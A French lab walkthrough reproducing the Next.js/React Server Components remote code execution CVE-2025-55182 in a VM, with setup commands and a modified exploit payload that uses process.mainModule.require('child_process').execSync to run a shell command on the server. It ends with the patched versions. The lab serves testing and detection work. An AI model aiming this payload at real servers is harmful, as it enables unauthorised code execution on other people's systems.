
Laboratoire reproductible démontrant l'exécution de code à distance CVE-2025-55182 contre Next.js 16.0.0 avec les composants serveur React, incluant l'exécution d'exploit externe et la vérification des effets secondaires.
Ce document fournit une configuration complète et reproductible pour démontrer l'exécution de code à distance (RCE) CVE-2025-55182 contre un environnement vulnérable Next.js + React Server Components fonctionnant dans une VM Ubuntu Multipass.
L'exploit est exécuté depuis l'extérieur de la VM, prouvant l'exploitabilité à distance et préparant l'environnement pour la détection de comportements anormaux.
Source : https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Vérifier :
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.jsonModifier les dépendances :
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
Réinstaller les paquets :
rm -rf node_modules package-lock.json
npm install
Vérifier :
npm list react react-dom next
Attendu :
npm run build
npm start
Sortie attendue :
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

Sur une autre machine :
curl http://10.102.169.126:3000
Vous devriez recevoir la page HTML par défaut de Next.js.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
Rechercher :
hostname: 'localhost',
Remplacer par :
hostname: '10.X.X.X',
Avec Next toujours en cours d'exécution :
node test-simple.cjs
Attendu dans le terminal Next.js :
NON-CHUNKED-RCE
Cela confirme l'exécution de code à distance via React Flight en utilisant les versions vulnérables.

L'objectif est de générer un comportement observable (système de fichiers + exécution de processus).
_prefix dans test-simple.cjsRechercher :
"_prefix": "console.log('NON-CHUNKED-RCE');//"
Remplacer par :
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
Remarque : require n'est pas disponible dans le contexte d'exécution, mais process.mainModule.require() l'est.
Assurez-vous que Next est en cours d'exécution, puis :
node test-simple.cjs
Vérifier la création du fichier :
ls -l /tmp/
Vous devriez voir :
cve-2025-55182-syscall
Cela confirme une RCE fonctionnelle avec des effets secondaires.

Correctif :
React ≥ 19.2.1
Next.js ≥ 16.0.7